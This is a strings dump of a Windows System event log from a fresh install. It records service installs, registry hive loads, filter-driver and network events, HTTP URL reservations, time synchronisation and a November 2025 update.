http://+:10246/MDEServer/ ServiceName ImagePath ServiceType StartType AccountName KslDsystem32\drivers\KslD.syskernel mode driverdemand start 5http://schemas.microsoft.com/win/2004/08/events/event Workstation System WIN-FVPT9GE7NQP WORKGROUP param1 uiomap Intel(R) PRO/1000 PCI Express Network Connection Driver I\SystemRoot\System32\drivers\e1i68x64.syskernel mode driverdemand start Microsoft Kernel Debug Network Miniport\SystemRoot\System32\drivers\kdnic.syskernel mode driverdemand start 5http://schemas.microsoft.com/win/2004/08/events/event e1i68x64 System WIN-FVPT9GE7NQP Intel(R) 82574L Gigabit Network Connection Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.AccountsControl_10.0.26100.1_neutral__cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.AsyncTextService_10.0.26100.1_neutral__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.BioEnrollment_10.0.19587.1000_neutral__cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.CredDialogHost_10.0.19595.1001_neutral__cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.ECApp_10.0.26100.4061_neutral__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.LockApp_10.0.26100.4202_neutral__cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.CBS_9.2504.3002.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.AugLoop.CBS_1.1126.2131.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.CapturePicker_10.0.19580.1000_neutral__cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-DNS-Client System QueryName AddressLength Address ClientPID wpad Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.PinningConfirmationDialog_1000.25140.1001.0_neutral__cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.PrintQueueActionCenter_1.0.2.0_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.CBS.1.6_6000.700.2257.100_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.CBS.1.8_8000.694.2228.100_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.XboxGameCallableUI_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.59337145.Livtop_1000.26100.7824.0_x64__cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy\ActivationStore.dat Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Service Control Manager Guid &{555908d1-a6d7-4695-8e1e-26931d2012f4} EventSourceName Service Control Manager EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel System Computer WIN-FVPT9GE7NQP Security UserID EventData Data ServiceName ImagePath ServiceType StartType AccountName Microsoft Edge Elevation Service (MicrosoftEdgeElevationService)"C:\Program Files (x86)\Microsoft\Edge\Application\144.0.3719.115\elevation_service.exe"user mode servicedemand startLocalSystem 5http://schemas.microsoft.com/win/2004/08/events/event WIN-FVPT9GE7NQP Microsoft-Windows-Kernel-General System HiveNameLength HiveName KeysUpdated DirtyPages \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.1.5_5001.311.2039.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.2.8_8.2310.30001.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.1.6_6000.401.2352.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Clipchamp.Clipchamp_4.3.10120.0_x64__yxz26nhyzhsrt\ActivationStore.dat Microsoft-Windows-Kernel-General System }\??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.BingNews_1.0.2.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.BingSearch_1.1.43.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.BingWeather_3.2.10.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.GamingApp_2505.900.9.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.GetHelp_10.2407.22193.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.MicrosoftOfficeHub_19.2506.56051.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.MicrosoftSolitaireCollection_4.22.3190.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.MicrosoftStickyNotes_4.0.6105.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Paint_11.2412.295.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.ScreenSketch_11.2307.61.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.SecHealthUI_1000.26100.7824.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.StorePurchaseApp_22408.1400.1.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Todos_0.120.7961.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAlarms_1.1.61.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsCalculator_11.2502.2.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsNotepad_11.2501.31.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsSoundRecorder_1.1.47.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsStore_22506.1400.2.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe\ActivationStore.dat param1 param2 param3 param4 Background Intelligent Transfer Servicedemand startauto startBITS Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Xbox.TCUI_1.23.28005.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.XboxGamingOverlay_7.325.7221.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.XboxIdentityProvider_12.130.2510.6003_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.WebExperience_525.31002.150.9_x64__cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy\ActivationStore.dat Microsoft-Windows-Kernel-General System U\??\C:\ProgramData\Microsoft\Provisioning\Microsoft-Desktop-Provisioning-Sequence.dat Microsoft-Windows-UserModePowerService System Turn 5http://schemas.microsoft.com/win/2004/08/events/event Microsoft-Windows-DistributedCOM &{1B562E86-B7AA-4131-BADC-B6F3A001407E} DCOM System WIN-FVPT9GE7NQP param1 {A47979D2-C419-11D9-A5B4-001185AD2B89} param1 param2 Binary Network List Service%%21 netprofm Microsoft-Windows-Setup System OSName OSEditionID OSmajorversion OSminorversion OSbuildversion OSservicepackName OSservicepackmajorversion OSservicepackminorversion Windows 10 Pro Professional 5http://schemas.microsoft.com/win/2004/08/events/event User32 &{b0aa8734-56f7-41cc-b2f4-de228e98b946} User32 System WIN-FVPT9GE7NQP param1 param2 param3 param4 param5 param6 param7 C:\WINDOWS\system32\winlogon.exe (MINWINPC)WIN-FVPT9GE7NQPOperating System: Upgrade (Planned)0x80020003restartNT AUTHORITY\SYSTEM Printer Extensions and Notifications%SystemRoot%\system32\svchost.exe -k printuser mode servicedemand startLocalSystem Printer Extensions and Notifications 5http://schemas.microsoft.com/win/2004/08/events/event EventLog System WIN-FVPT9GE7NQP Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-DHCPv6-Client System DwordVal Microsoft-Windows-Dhcp-Client System 5http://schemas.microsoft.com/win/2004/08/events/event EventLog System DESKTOP-8GBP982 WIN-FVPT9GE7NQP DESKTOP-8GBP982 10.00. 26200 Multiprocessor Free 480 Pacific Standard Time Windows 10 Pro 10.0.26200 Build 26200 Multiprocessor Free 26100.ge_release.240331-1435 699903c3 Not Available Not Available 2048 DESKTOP-8GBP982 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-DHCPv6-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Kernel-Power System ShutdownActionType ShutdownEventCode ShutdownReason Microsoft-Windows-Kernel-Power System AdaptiveTargetState IsUnattended Status Microsoft-Windows-Kernel-General System StopTime Microsoft-Windows-Kernel-General System MajorVersion MinorVersion BuildVersion QfeVersion ServiceVersion BootMode StartTime Microsoft-Windows-Kernel-General System SystemTime LoaderTime InternalBootFlags HalRtcErrorCode RealTimeIsUniversal IsSoftBoot Success Phase Microsoft-Windows-Kernel-Boot System Status EnableDisableReason VsmPolicy Microsoft-Windows-Kernel-Boot System LastShutdownGood LastBootGood LastBootId BootStatusPolicy Microsoft-Windows-Kernel-Boot System Status FailureReason Microsoft-Windows-Kernel-Boot System EfiTimeZoneBias EfiDaylightFlags EfiTime Microsoft-Windows-Kernel-Boot System BootMenuPolicy Microsoft-Windows-Kernel-Boot System BootType LoadOptions Microsoft-Windows-Kernel-Boot System Microsoft-Windows-Kernel-Boot System BitlockerUserInputTime Microsoft-Windows-Kernel-General System UpdateReason EnabledNew CountNew CountOld Microsoft-Windows-HAL System Microsoft-Windows-FilterManager System FinalStatus DeviceVersionMajor DeviceVersionMinor DeviceNameLength DeviceName DeviceTime FileInfo Microsoft-Windows-FilterManager System Microsoft-Windows-FilterManager System WdFilter Microsoft-Windows-Ntfs System DriveName DeviceName CorruptionActionState \Device\HarddiskVolume3 Microsoft-Windows-FilterManager System FileCrypt Microsoft-Windows-FilterManager System npsvctrig Microsoft-Windows-Kernel-Power System State Reason Microsoft-Windows-Kernel-Processor-Power System Group Number IdleStateCount IdleImplementation NominalFrequency MaximumPerformancePercent MinimumPerformancePercent MinimumThrottlePercent PerformanceImplementation Microsoft-Windows-Kernel-Processor-Power System Microsoft-Windows-Ntfs System \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 Microsoft-Windows-Kernel-General System ExitReason CurrentBias CurrentTimeZoneID TimeZoneInfoCacheUpdated FirstRefresh 5http://schemas.microsoft.com/win/2004/08/events/event e1i68x64 System DESKTOP-8GBP982 Intel(R) 82574L Gigabit Network Connection Microsoft-Windows-Wininit System HRESULT NewLatchTimerNeeded *NewLatchTimerWaitingSystemUpdateCompletion #PreviousLatchTimerExistsButDisabled PolicyFileExists Microsoft-Windows-Wininit System HRESULT PreviousTimerExists PreviousTimerStartTime GracePeriod %AttemptedRecoveryEnforcementSucceeded Microsoft-Windows-Wininit System HRESULT NewTimerNeeded NewTimerWaitingUpdateCompletion PreviousTimerExistsButDisabled Microsoft-Windows-Wininit System Config IsTestConfig IsAutoEnabled Microsoft-Windows-Wininit System Microsoft-Windows-Wininit System Level LsaSrv System HardwareChecks ADDomainJoin AADDomainJoin IsLicensed DomainController Microsoft-Windows-Directory-Services-SAM System %SAMMSG_RESTRICT_REMOTE_SAM_DEFAULT_SD Default SD String: O:SYG:SYD:(A;;RC;;;BA) Microsoft-Windows-Directory-Services-SAM System #SAMMSG_MINPWDLEN_SETTINGS_IN_EFFECT MinimumPasswordLength RelaxMinimumPasswordLengthLimits MinimumPasswordLengthAudit Microsoft-Windows-Directory-Services-SAM System 'SAMMSG_AUDIT_LEGACY_PWD_RPC_METHODS_OFF Microsoft-Windows-Time-Service System TMP_EVENT_MANUAL_PEER_DNS_ERROR ErrorMessage RetryMinutes DomainPeer No such host is known. (0x80072AF9) time.windows.com,0x9 Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-FilterManager System applockerfltr Microsoft-Windows-DHCPv6-Client System Microsoft-Windows-FilterManager System Microsoft-Windows-FilterManager System luafv Microsoft-Windows-FilterManager System wcifs Microsoft-Windows-FilterManager System UnionFS Microsoft-Windows-FilterManager System CldFlt Microsoft-Windows-FilterManager System CldFlt Microsoft-Windows-FilterManager System CldFlt Microsoft-Windows-FilterManager System storqosflt Microsoft-Windows-FilterManager System UCPD Microsoft-Windows-FilterManager System bindflt ivationStor Microsoft-Windows-HttpService System Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer DESKTOP-8GBP982 Security UserID Microsoft-Windows-HttpService System EventData Data ReserveStatus ProcessId ExecutablePath UserSid http://*:5357/ Microsoft-Windows-HttpService System http://+:80/Temporary_Listen_Addresses/ Microsoft-Windows-HttpService System https://*:5358/ Microsoft-Windows-HttpService System http://*:2869/ Microsoft-Windows-HttpService System https://+:5986/wsman/ Microsoft-Windows-HttpService System http://+:47001/wsman/ Microsoft-Windows-HttpService System http://+:5985/wsman/ Microsoft-Windows-HttpService System https://+:3392/rdp/ Microsoft-Windows-HttpService System https://+:443/sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/ Microsoft-Windows-HttpService System http://+:80/0131501b-d67f-491b-9a40-c4bf27bcb4d4/ Microsoft-Windows-HttpService System https://+:443/C574AC30-5794-4AEE-B1BB-6651C5315029/ Microsoft-Windows-HttpService System http://+:80/116B50EB-ECE2-41ac-8429-9F9E963361B7/ Microsoft-Windows-HttpService System http://+:10247/apps/ Microsoft-Windows-HttpService System https://+:10245/WMPNSSv4/ Microsoft-Windows-HttpService System http://+:10243/WMPNSSv4/ Microsoft-Windows-HttpService System http://+:10246/MDEServer/ 5http://schemas.microsoft.com/win/2004/08/events/event Service Control Manager &{555908d1-a6d7-4695-8e1e-26931d2012f4} EventSourceName Service Control Manager System DESKTOP-8GBP982 param1 uiomap Microsoft-Windows-Time-Service System TMP_EVENT_TIME_SOURCE_REACHABLE TimeSource time.windows.com,0x9 (ntp.m|0x9|0.0.0.0:123->104.40.149.189:123) Microsoft-Windows-Kernel-General System ExitReason CurrentBias CurrentTimeZoneID TimeZoneInfoCacheUpdated FirstRefresh Microsoft-Windows-Kernel-General System NewTime OldTime TimeDeltaInMs Reason ProcessName ProcessID CmosTime TimeZoneBias RealTimeIsUniversal SystemInCmosMode \Device\HarddiskVolume3\Windows\System32\oobe\msoobe.exe Microsoft-Windows-Kernel-General System Microsoft-Windows-Kernel-General System \Device\HarddiskVolume3\Windows\System32\svchost.exe Microsoft-Windows-Time-Service System TMP_EVENT_TIME_JUMP_AUDIT TimeOffsetSeconds Microsoft-Windows-Time-Service System TMP_EVENT_TIME_SOURCE_CHOSEN TimeSource TimeSourceRefId CurrentStratumNumber time.windows.com,0x9 (ntp.m|0x9|0.0.0.0:123->104.40.149.189:123) Microsoft-Windows-Kernel-General System Microsoft-Windows-Kernel-General System \Device\HarddiskVolume3\Windows\System32\svchost.exe Microsoft-Windows-Kernel-General System Microsoft-Windows-Kernel-General System \Device\HarddiskVolume3\Windows\System32\svchost.exe Microsoft-Windows-Kernel-General System HiveNameLength HiveName KeysUpdated DirtyPages )\??\C:\WINDOWS\System32\config\COMPONENTS 5http://schemas.microsoft.com/win/2004/08/events/event Virtual Disk Service System DESKTOP-8GBP982 Binary @2010005 Microsoft-Windows-DNS-Client System QueryName AddressLength Address ClientPID wpad @2010001 Microsoft-Windows-Kernel-General System 2\Device\HarddiskVolume1\EFI\Microsoft\Recovery\BCD@ Microsoft-Windows-Kernel-General System 2\Device\HarddiskVolume1\EFI\Microsoft\Recovery\BCD Microsoft-Windows-Kernel-General System 2\Device\HarddiskVolume1\EFI\Microsoft\Recovery\BCD Microsoft-Windows-Kernel-General System -\??\C:\WINDOWS\AppCompat\Programs\Amcache.hve param1 param2 param3 param4 Windows Modules Installerauto startdemand startTrustedInstaller Microsoft-Windows-GroupPolicy System SupportInfo1 SupportInfo2 ProcessingMode ProcessingTimeInMilliseconds DCName Microsoft-Windows-Winlogon System TSId UserSid Microsoft-Windows-Kernel-General System $\??\C:\Users\defaultuser0\ntuser.dat Microsoft-Windows-Kernel-General System F\??\C:\Users\defaultuser0\AppData\Local\Microsoft\Windows\UsrClass.dat Delivery Optimizationdemand startauto startDoSvc Microsoft-Windows-GroupPolicy System Microsoft-Windows-Kernel-General System o\??\C:\Users\defaultuser0\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat Microsoft-Windows-Kernel-General System }\??\C:\Users\defaultuser0\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat Microsoft-Windows-TPM-WMI System Microsoft-Windows-Kernel-General System z\??\C:\Users\defaultuser0\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\Settings\settings.dat Microsoft-Windows-Kernel-General System HiveNameLength HiveName OriginalSize NewSize 4\??\C:\WINDOWS\System32\SMI\Store\Machine\schema.dat Microsoft-Windows-Kernel-General System \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe\ActivationStore.dat Background Intelligent Transfer Serviceauto startdemand startBITS Microsoft-Windows-Kernel-General System \??\C:\Users\Default\NTUSER.DAT Microsoft-Windows-Kernel-General System Microsoft-Windows-Kernel-General System \Device\HarddiskVolume3\Windows\System32\CloudExperienceHostBroker.exe Microsoft-Windows-Kernel-General System #\SystemRoot\System32\config\DRIVERS Microsoft-Windows-WindowsUpdateClient System updateTitle updateGuid updateRevisionNumber 2025-11 Update for Windows 11, Version 25H2 for x64-based Systems (KB5071430) Microsoft-Windows-WindowsUpdateClient System 2025-11 Update for Windows 11, Version 25H2 for x64-based Systems (KB5071430) Windows Modules Installerdemand startauto startTrustedInstaller Windows Modules Installerauto startdemand startTrustedInstaller Microsoft-Windows-WindowsUpdateClient System updateTitle updateGuid updateRevisionNumber serviceGuid 2025-11 Update for Windows 11, Version 25H2 for x64-based Systems (KB5071430) 5http://schemas.microsoft.com/win/2004/08/events/event EventLog System DESKTOP-8GBP982 